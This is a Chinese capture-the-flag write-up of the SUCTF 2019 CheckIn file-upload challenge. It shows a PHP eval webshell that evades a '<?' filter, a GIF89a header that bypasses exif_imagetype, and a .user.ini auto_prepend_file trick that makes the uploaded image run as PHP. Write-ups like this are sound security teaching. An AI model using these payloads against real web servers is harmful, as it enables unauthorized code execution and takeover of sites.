zoukankan      html  css  js  c++  java
  • BUUCTF-[SUCTF 2019]CheckIn(.user.ini利用+exif_imagetype绕过)


    记一道.user.ini利用+exif_imagetype绕过的文件上传的题。

    分析

    先正经上传一张图片。回显了存储路径,同时发现还包含了一个index.php文件。暂时不知道怎么用。

    在上传一句话木马.jpg文件的时候提示<? in contents!,文件中不能包含<?,这个我们可以换个格式写一句话木马。比如

    <script language="php"> echo eval($_POST[shell]);</script>
    

    但是上传后提示exif_imagetype:not image!。exif_imagetype() 函数读取一个图像的第一个字节并检查其签名。这个函数我们通过添加图片头就能绕过。那么我们构造一个

    GIF89a
    <script language="php"> echo eval($_POST[shell]);</script>
    

    确实是传上去了。但是需要解析我们上传的图片马。.htaccess传不上去。这里用到了.user.ini文件

    .user.ini使用条件

    (1)服务器脚本语言为PHP
    (2)对应目录下面有可执行的php文件
    (3)服务器使用CGI/FastCGI模式
    .user.ini实际上就是一个可以由用户“自定义”的php.ini,我们可以自定义除了PHP_INI_SYSTEM以外的模式,在执行php代码之前,系统会对.user.ini先做一个执行,然后才执行其他的php文件。利用.user.ini先执行auto_prepend_file函数,auto_prepend_file表示在php程序加载第一个php代码前加载的php文件,也就是先加载了a.jpg里面的文件,即一句话木马。然后利用蚁剑连接即可。

    GIF89a                  //绕过exif_imagetype()
    auto_prepend_file=muma.jpg//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
    auto_append_file=muma.jpg//解析后进行包含
    

    解题

    先传.user.ini文件,再将muma.jpg传上去。用蚁剑连接

    http://da34ffbe-a0b9-4488-b77f-26931159e50b.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
    

    在根目录下拿到flag。

    参考链接

    https://xz.aliyun.com/t/6091#toc-2
    https://www.jianshu.com/p/2907426b4a91
    https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html

  • 相关阅读:
    Mysql任务调度
    使用 IntraWeb (18)
    使用 IntraWeb (17)
    替盛大代发的招聘启示
    使用 IntraWeb (16)
    使用 IntraWeb (15)
    使用 IntraWeb (14)
    使用 IntraWeb (13)
    使用 IntraWeb (12)
    使用 IntraWeb (11)
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/12976796.html
Copyright © 2011-2022 走看看